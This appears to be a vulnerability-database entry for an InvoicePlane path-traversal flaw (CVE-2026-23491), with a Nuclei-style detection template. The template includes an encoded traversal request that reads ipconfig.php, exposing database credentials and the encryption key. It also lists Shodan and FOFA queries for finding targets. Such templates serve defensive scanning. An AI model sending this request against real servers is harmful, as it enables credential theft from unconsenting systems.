InvoicePlane <= 1.6.3 - Arbitrary File Read
CVE-2026-23491
Early Release
Description
InvoicePlane through 1.6.3 is vulnerable to an unauthenticated path traversal in the guest "Get::get_file()" controller. The supplied filename is passed to readfile() after a single urldecode() with no directory-traversal validation, allowing an unauthenticated attacker to read files outside the customer-files upload directory - including the application's own "ipconfig.php", which discloses the database credentials and the application ENCRYPTION_KEY. Fixed in 1.6.4 by the validate_file_access() helper.
Severity
High
CVSS Score
7.5
Exploit Probability
1%
Affected Product
invoiceplane
Published Date
August 7, 2026
Template Author
str4k3r
CVE-2026-23491.yaml
id: CVE-2026-23491
info:
name: InvoicePlane <= 1.6.3 - Arbitrary File Read
author: str4k3r
severity: high
description: |
InvoicePlane through 1.6.3 is vulnerable to an unauthenticated path traversal in the guest "Get::get_file()" controller. The supplied filename is passed to readfile() after a single urldecode() with no directory-traversal validation, allowing an unauthenticated attacker to read files outside the customer-files upload directory - including the application's own "ipconfig.php", which discloses the database credentials and the application ENCRYPTION_KEY. Fixed in 1.6.4 by the validate_file_access() helper.
reference:
- https://github.com/InvoicePlane/InvoicePlane/security/advisories/GHSA-88gq-mv54-v3fc
- https://github.com/InvoicePlane/InvoicePlane/releases/tag/v1.6.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-23491
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-23491
epss-score: 0.0105
epss-percentile: 0.61689
cwe-id: CWE-22
metadata:
max-request: 1
verified: true
product: invoiceplane
vendor: invoiceplane
shodan-query: http.html:"InvoicePlane"
fofa-query: body="InvoicePlane"
tags: cve,cve2026,invoiceplane,lfi,traversal
http:
- method: GET
path:
- "{{BaseURL}}/index.php/guest/get/get_file/..%2f..%2fipconfig.php"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "SETUP_COMPLETED="
- "ENCRYPTION_KEY="
condition: and
- type: word
part: content_disposition
words:
- "attachment"
- type: status
status:
- 200
# digest: 4b0a00483046022100dea47947f07a7f3426c7f547ddff8416744644f6de51e159443520bb20595373022100baf31a1d1c2384736b3139778bdebd6c45bcdddcbd55e9d0138dc3b6cd363197:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-23491
CWE ID:
cwe-22